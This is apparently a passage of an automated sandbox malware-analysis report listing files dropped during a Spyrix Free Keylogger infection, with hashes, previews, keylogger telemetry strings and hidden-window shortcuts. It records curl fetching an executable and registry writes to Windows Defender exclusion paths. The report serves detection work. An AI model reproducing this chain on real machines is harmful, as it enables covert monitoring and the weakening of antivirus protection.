Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\is-2BBC3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\is-5JB4G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\is-GL6NF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\runprg.ini

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	837
Entropy (8bit):	5.370477621938698
Encrypted:	false
SSDEEP:	24:3/KaOSubOTkFjMVCUuUGM0R1r5EkKAw3k:PibeKZFMsr6bAw0
MD5:	0889605962FD71F5F4197A340AFA89D5
SHA1:	717D485AE4F36FB87E7DFCA5D57D9FBC12A4E31F
SHA-256:	D43A0142248A58C2F2F89A87625E4119D24FD31C14525F1357DBC2C3436A5AC9
SHA-512:	EB42FAC9631E9A07AE659804E7C4CBED544A5006DAF915229BB25510859A6F9881C69CF4DBD85412DBCD5A047E338EBA734C62E25E20C0E1D08130BA6DC82CD7
Malicious:	false
Reputation:	unknown
Preview:	[explorer.exe]..Description=Windows Explorer..Path=C:\Windows\Explorer.EXE..[WinStore.App.exe]..Description=Store..Path=C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe..[ApplicationFrameHost.exe]..Description=Application Frame Host..Path=C:\Windows\system32\ApplicationFrameHost.exe..[TextInputHost.exe]..Description=..Path=C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe..[SystemSettings.exe]..Description=Settings..Path=C:\Windows\ImmersiveControlPanel\SystemSettings.exe..[wNuoTNurhWpGcAsHUdWV.exe]..Description=..Path=C:\Program Files (x86)\TkqxBpGgJJmzgbjmBrrBTiAOevjOhEbkAQoGRDdBruTSmnlZinnmFxuYdllDJtreVjaStKPrfui\wNuoTNurhWpGcAsHUdWV.exe..[chrome.exe]..Description=Google Chrome..Path=C:\Program Files\Google\Chrome\Application\chrome.exe..

C:\ProgramData\Spyrix Free Keylogger\temp\start\Spyrix Free Keylogger.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Wed Oct 2 03:12:36 2024, mtime=Wed Oct 2 03:12:36 2024, atime=Mon Sep 23 18:21:00 2024, length=5346216, window=hide
Category:	dropped
Size (bytes):	2100
Entropy (8bit):	3.664521591856152
Encrypted:	false
SSDEEP:	48:8JZGy0XERQj+mj9k+mE9k+m9kWNH+m9iEg:8Wywj+wk+Hk+yt+VE
MD5:	D163B51BA9F3626106244B3F8A9B8EED
SHA1:	F635E58D68B04FAD3C2302121706019910828C46
SHA-256:	2F07D6D7101789BA521CB0CD9E2B95E5E1D6A8616802622B2783F1BFF53283B9
SHA-512:	B5549CEE3DF59F9EFAC453009B3FAFB606554A77B7D6447A549E05A291307C03DDC65B5F7DD3359E27A4908FD95C99F9EA2579DEC63262B86B9D69EBED04669D
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ..4..O....!.7P..............Q..........................P.O. .:i.....+00.../C:\...................`.1.....BY.!. PROGRA~3..H......O.IBY.!....g.......................D.P.r.o.g.r.a.m.D.a.t.a.....j.1.....BY.!. SECURI~1..R......BY.!BY.!............................D.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.......1.....BY.!. {827D2~1..~......BY.!BY.!...........................3..{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.....Z.2...Q.7Y.. spkl.exe..B......BY.!BY.!..............................s.p.k.l...e.x.e.......~...............-.......}............i.v.....C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe..I.....\.....\.....\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.s.p.k.l...e.x.e.F.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.O.C.:.\.P.r.o.g.r

C:\ProgramData\Spyrix Free Keylogger\temp\start\Uninstall Spyrix Free Keylogger.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed Oct 2 03:12:35 2024, mtime=Wed Oct 2 03:12:35 2024, atime=Wed Oct 2 03:11:54 2024, length=1308909, window=hide
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	4.631279711460438
Encrypted:	false
SSDEEP:	24:8m9OWZ2dKP0i8oyAH0Y3Sk+18k79k+18Hwz535hm:8mUqGy0XoRl3R+mk79k+mQN35h
MD5:	86C426424EC5CBEB7D419697A97C01FF
SHA1:	3CCFAB03B0CB73708A5FD4D610AE28C9BE3958A2
SHA-256:	AE6867026A474BB2531965D4E094C6E859BE783483CDCC160B2E18ADF623E4BF
SHA-512:	BCFF6093A591922E085454C45E890C7DB4F0A32DB03381D827FB4F103369D5AB9BAEECD0CB6861F36D0EB177AD495B4510B4E97548D8AF9D086D936075B30BE6
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... .....O....;b.O......6.................................P.O. .:i.....+00.../C:\...................`.1.....BY.!. PROGRA~3..H......O.IBY.!....g.......................D.P.r.o.g.r.a.m.D.a.t.a.....j.1.....BY.!. SECURI~1..R......BY.!BY.!............................D.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.......1.....BY.!. {827D2~1..~......BY.!BY.!...........................3..{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.....f.2.....BY\|! unins000.exe..J......BY.!BY.!....;.....................0.$.u.n.i.n.s.0.0.0...e.x.e.......................-....................i.v.....C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe..M.....\.....\.....\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.u.n.i.n.s.0.0.0...e.x.e.F.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Monitoring_StartButton_C79C6F489015E0BC97F892E357DB7156

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (426), with no line terminators
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.147898254008128
Encrypted:	false
SSDEEP:	6:FB92iY7hCkrM1JDX8faMEzUwXVX/3TCKGd6VbdYgfiE3T+tD0UDiA7TGCGJJpWhy:LK7EkrM1JASrXVX/jBhbdAEkZEi0p
MD5:	CB58A3CA6155D1C14B9BE2AAC29A22E0
SHA1:	CF90CB154862426A325073DF2449C426AEB1D3EC
SHA-256:	C1C4091F3BE3EE2CA759C93D2858C363F35EFBD8CC5EC91AD60D25427561CDF5
SHA-512:	0F77C16F3496946C4D0FD6F00A4379206B727412C751ED3FE38AE2FC9606D6084C41A4AF1A3D89460CC5E92649C717F6934F29AE3C75A8DD2BD42C11D06AA206
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Monitoring:StartButton&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=320366&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158&comp_time=2024-10-02 00:12:59.463&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=1&token=58e38d6240ae94da95dfc759a4564a76

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Monitoring_Start_C79C6F489015E0BC97F892E357DB7156

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (420), with no line terminators
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.142694540677504
Encrypted:	false
SSDEEP:	6:FB92iNECkrM1JDX8faMEzUwXVX/3TCKGc1/bdYgfiE3T+tD0UDiA7TGCGJJpL2hh:LbHkrM1JASrXVX/jBn/bdAEkZm2hTwZo
MD5:	BEBB7BF6A7856F37198DD5BCFA8A1D82
SHA1:	8D2534ECF703BEBC44E241ABA686A79CDFEC2CBC
SHA-256:	DD63FC9F84D5A8A755E9E4BA5D2B63C9EA57945E6A88E4167CE02F6CC06B72D5
SHA-512:	23679570DEE55A47F51F7CB25524C12A693D2FC7B607D53473C188DDB5D82D35A7859760FB5CF20DD44B46DDB7573E94BAF3E7B9512A6E1566F26E53A902CE07
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Monitoring:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=320366&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158&comp_time=2024-10-02 00:13:04.392&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=6&token=0de4b6336089a395f92c1a47360f5d2b

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Run_First_C79C6F489015E0BC97F892E357DB7156

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (413), with no line terminators
Category:	dropped
Size (bytes):	413
Entropy (8bit):	5.139299901076732
Encrypted:	false
SSDEEP:	6:FBWRglCkrM1JDX8faMEzUwXVX/3TCKGcQgJJ/bdYgfiE3T+tD0UDiA7TGCGJJpQK:LWTkrM1JASrXVX/jBqgJVbdAEkZBS5
MD5:	B2EE501D21571226C3067BBE5B632008
SHA1:	04046574C34E1682A68800267C718FDEB848F353
SHA-256:	9350324D0351B0A2CDCCF62078274F29B5F33928984BBF52C27B6AB1E8553A7F
SHA-512:	CAF42F02668B66FE817862AE5FD3EE751692DF05905F3B32199E932C33A1053B6C89792ADE9EAA3AA4A0005BF945394AE18CFB5FA35FA75C27C726D41DE6E86B
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Run:First&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=320366&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158&comp_time=2024-10-02 00:13:04.657&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=7&token=6dd0bb36c0feb604ce436aa43f956f3e

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_wizard_Start_C79C6F489015E0BC97F892E357DB7156

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	416
Entropy (8bit):	5.123352578190347
Encrypted:	false
SSDEEP:	6:FB/f+rNECkrM1JDX8faMEzUwXVX/3TCKGkfbdYgfiE3T+tD0UDiA7TGCGJJpe8fR:L/f+JHkrM1JASrXVX/jBNbdAEkZIR
MD5:	A261C0F21D431E3C0EFC1C4174B3E506
SHA1:	F7C476C7B8F5905E8FE99303EDAED95CBA21BAC2
SHA-256:	43CE0D4066F3439E335100724AEDD7FEF6F8EBCD4CB48F57F81BF1BEC0365474
SHA-512:	AFA87A9CC2344F86B90DED16387F2E5F78803458E751A87C80133DD8BBAB680E9A76ACF1B3AFC6240D9F597F1E0DD9DB6DD09B2EDC46F5AA7AAAE461FBC4FACA
Malicious:	false
Reputation:	unknown
Preview:	&action=app:wizard:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=320366&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158&comp_time=2024-10-02 00:13:07.036&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=9&token=5d01eb900e4204703a14e238d2c681c9

C:\ProgramData\Spyrix Free Keylogger\temp\stat\dlog\2024-10.wdb

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3013000, file counter 10, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.2262949568600354
Encrypted:	false
SSDEEP:	24:TLmoez2/2EivyGI7VBY+gMdOklnKXRRENC4nUeIHOlflOOlaO9f:TaLa/2paXmMdLKXXENC4UeIulNlak
MD5:	A7909BB4FACE21C382D480FDF3E20C1C
SHA1:	A96C380ED79F65F862E94B806A6FB9F8DDDFB182
SHA-256:	3544D8DBE4B9DCF64D41C63CE0B5034A5B2A61EEB1B4186A7ABA64B290B68E5C
SHA-512:	F689DE753DB153F60DF06C651A7387B8CA208DBFC347DB7F2BBC35B1BC5FD0DDFD36D4A4C52AC9D52DC7A72872542A0B9410C66F75652EB4C7BB8E6076E5E02F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .........................................................................-.............;........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\temp\stat\dlog\2024-10.wdb-journal

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.1153550140258148
Encrypted:	false
SSDEEP:	48:7MUFQaUMdLKXXENC4UeIulNl3q25La/2pal:7PFQaUM1KXXMjIof3Lh3S
MD5:	49CE47E9BDDFCE2E9FF3CEAAA5ECF8C5
SHA1:	1C34944F9C3F3556DDD328E732F4E27AF84CC761
SHA-256:	766851EC5DF8A7E44485A09018FFBD9584D552C7A4825669CAD9C4A3D53FFA7A
SHA-512:	83FE3295B7298C526AD31CC9EAEC332844449A486B33E29264E41050E09A92F33F959AE684C553D6DEA663532F2623915EE2559C5065DE71DB9F94AFCC65CBFD
Malicious:	false
Reputation:	unknown
Preview:	.... .c.......*...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................=..........u.Y.=..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\{972DC8CA-126D-23FD-11AA-92876DD12AFD}\5913A2D6482586A397876746C6020FBE

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	4.593400348604437
Encrypted:	false
SSDEEP:	3:PouVKQzhquIw27n:h4Qzhqfn
MD5:	179EC8DFA22BD8C472285A4F01C3879C
SHA1:	C7F2C43F00D5D69B7C534EF9F7BB4D5EEACDDFA6
SHA-256:	5CA8C7050FF095DB093320A34382CB8859E9BE94795F1A7605B1BE1232D67668
SHA-512:	E0DE299D4E8173857050BFFF6FDDF93CF88471490F072C904124F685124B80AD5AB84B119F55B75281EE3E4E9BA688593842F7BF1A78FE650F41A7FEC2A6888B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html lang="en-US">

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\[space]= .exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.725524916177281
Encrypted:	false
SSDEEP:	1536:Fmb6bAx1Aw+M+JqPSMr49ucL+91yhgwCqnkLrcIN6mE:Fm+b/zqPSMr49uiSUf
MD5:	D15DAEF371B50FB739401BFDE29DF35A
SHA1:	D916C598AFF72AAF461A5427CD7C6440C199FF24
SHA-256:	EE8A52DEDDF45BAC9CAA60205F83488EE644FFD1EA01998774D68C7F46568B71
SHA-512:	4145F4A52D7098B5543EFEFDBF2810B403BA82036F2EF254F458D0084DA839636F9D4DC5EC3016065FDFCCF6468DA301C4DA523ECE1244FD23EFB1FD288D5529
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W->..........."...0..P.........."n... ........@.. ....................................`..................................m..O....................................m............................................... ............... ..H............text...(N... ...P.................. ..`.rsrc................R..............@..@.reloc...............^..............@..B.................n......H...........)...........T..............................................v.(.....(..........(...........s....}.....{...........s....o.....{....o.....~....}.....0..E.......s%......}......}....~....(......~.......&...s.....o......{....(......{.....o.....{......(....r...p(....o.....l#......X@6..(....z.,..{....,..{....o......(........0..}........s ...}.....s!...}.....s"...}.....s"...}.....s"...}.....{....o#....($.....(%.....(&.....('....{....(!...o(....{......s)...o....{...

C:\Users\user\AppData\Local\Temp\REG3F6B.tmp

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	236
Entropy (8bit):	3.6440699182134826
Encrypted:	false
SSDEEP:	6:Qyk+SkWCiiCRroZ6IJlUAG+DZKHWn+SkUkDkqOEcRKw:Qy5hVZteAxDZaW+oVd3
MD5:	0A7F333C72BA23F66948D2F7ACAF391E
SHA1:	4E232F923162508127336631C7A734982795FC6F
SHA-256:	C0E694FE96F168B2E1C2C6710E2DA625849F72A5260AC6F8AFD7B399B82C7026
SHA-512:	E770D89B07783F9EDBD8F13D0D369CB3CF59BD666BDEA34276EB29FB8334A413A3F8159C9FD235CF9710937EE29838AA0665EC4CDC3B03204AE353B2EF1F2A91
Malicious:	false
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.P.a.t.h.s.].........

C:\Users\user\AppData\Local\Temp\REG95D8.tmp

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	236
Entropy (8bit):	3.6440699182134826
Encrypted:	false
SSDEEP:	6:Qyk+SkWCiiCRroZ6IJlUAG+DZKHWn+SkUkDkqOEcRKw:Qy5hVZteAxDZaW+oVd3
MD5:	0A7F333C72BA23F66948D2F7ACAF391E
SHA1:	4E232F923162508127336631C7A734982795FC6F
SHA-256:	C0E694FE96F168B2E1C2C6710E2DA625849F72A5260AC6F8AFD7B399B82C7026
SHA-512:	E770D89B07783F9EDBD8F13D0D369CB3CF59BD666BDEA34276EB29FB8334A413A3F8159C9FD235CF9710937EE29838AA0665EC4CDC3B03204AE353B2EF1F2A91
Malicious:	false
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.P.a.t.h.s.].........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qgsnw1d.3af.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1pstvsra.bew.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
